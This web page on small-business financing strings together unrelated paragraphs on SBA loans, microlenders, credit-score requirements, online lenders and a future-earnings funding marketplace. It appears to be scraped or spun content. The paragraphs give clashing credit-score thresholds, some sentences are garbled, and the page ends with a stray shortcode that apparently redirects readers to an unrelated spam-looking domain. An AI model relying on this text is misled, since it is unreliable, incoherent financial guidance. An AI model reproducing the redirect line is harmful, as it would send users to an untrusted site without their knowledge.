Young, ambitious and willing to make a bet on your future earnings? Consider how Kjerstin Erickson, Saul Garlick and Jon Gosier are trying to raise money. Through an online marketplace called the Thrust Fund, the three have offered up a percentage of their future lifetime earnings in exchange for upfront, undesignated venture funding. Erickson is willing to swap 6 percent of her future lifetime earnings for $600,000. The other two entrepreneurs are each offering 3 percent of future earnings for $300,000. Beware: the legality and enforceability of these “personal investment contracts” have yet to be established.
Prepayment penalty: Prepayment penalties are charged for prepaying on a loan balance. Prepayment penalties may be included in the loan contract as a way to protect the lender from the loss of paid interest arising from prepayment or early payment.
The government-guaranteed SBA loan program works with banks to offer low interest rates and long-term repayment. But the process is time-consuming, and the requirements are strict. Only those with good personal credit (690 or higher, although some SBA lenders may have lower score requirements), strong business finances and the flexibility to wait for funding should apply.
Keep in mind that since you don’t have a business started up yet or you’re just starting out, you likely have to borrow money based on your personal finances. For this reason, you’re more likely to qualify for startup financing with a strong personal credit score (720 or higher).
Trade finance under the SBA Export loan program is broken up into three types of loans, but they all have the same goal. The aim is to expand international trade and export activities. Here is what each loan within the SBA Export program can be used for:
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One drawback of the standard SBA 7(a) loan is that the application process can take months. In order to address this problem, the SBA offers an expedited processing service called the SBA Express Loan, which guarantees a response to an application within 36 hours (note: this means the SBA will notify your lender within 36 hours if your application has been approved, but it may take significantly longer for your lender to process and fund your loan).
SBA Economic Injury Disaster Loans (EIDLs): Short- to medium-term working capital loans to help businesses that have suffered significant economic injury meet normal operating expenses. Do not need to be a for-profit business.
Banks, which as previously noted offer the least expensive small-business loans, want borrowers with credit scores at least above 680, Darden says. If your credit score falls below that threshold, consider online small-business loans for borrowers with bad credit or loans from a nonprofit microlender.
A term loan is ideal for expansion and buying equipment, so consider StreetShares if you have at least $100,000 in revenue and six months in business. For businesses that are younger and have less revenue, BlueVine is a better bet. If borrowing costs are important to you, StreetShares offers lower APRs than BlueVine.
The lack of a credit history, collateral or the inability to secure a loan through a bank doesn’t mean no one will lend to you. One option would be to apply for a microloan, a small business loan ranging from $500 to $35,000. Microloans are often so small that commercial banks can’t be bothered lending the funds. Instead a bank, you need to turn to a microlender. a non-profit organization that works differently than banks. Microlenders offer smaller loan sizes, usually require less documentation than banks, and often apply more flexible underwriting criteria. There are a few hundred microlenders throughout the U.S. and they often charge slightly higher interest rates for loans than banks. “Microloans are really for that startup entrepreneur or an entrepreneur in an existing business facing a capital gap who needs to secure capital for new equipment or to service a contract,” says Connie Evans, president and CEO of AEO, which represents 400 mostly non-profit microlenders and microenterprise organizations.
SBA loan terms can be more flexible, meaning borrowers can be approved even if they have fewer assets than required by commercial lenders. So if you are just starting out and don’t own a home or other big ticket asset to offer as collateral, you still have a good chance at getting a loan.
Suzie & Todd, Noda Brewing Company; Charlotte, NC For husband and wife Todd and Suzie, the key to spending more time together was small business ownership. With Guidant’s help, the couple transformed their long-time home-brew hobby into their dream business.
SBA’s Office of Veteran Business Development operates twenty Veteran Business Outreach Centers through grants and cooperative agreements with organizations which provide technical assistance to businesses owned by veterans and family members. VBOCs also provide instructors for the SBA’s program Boots to Business. Boots to Business is delivered in partnership with SBA’s Resource Partners, SCORE Mentors, Small Business Development Centers, Women’s Business Centers, and Veterans Business Outreach Centers and the Institute for Veterans and Military Families at Syracuse University. It is available free on participating installations to service members and their dependents transitioning or retiring from the U.S. military. Additional SBA resources for veterans are available from http://www.sba.gov/vets.
If you’re starting a business, it’s virtually impossible to get a loan in your company’s first year. Lenders require cash flow to support repayment of the loan, so startups are typically immediately disqualified from financing. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]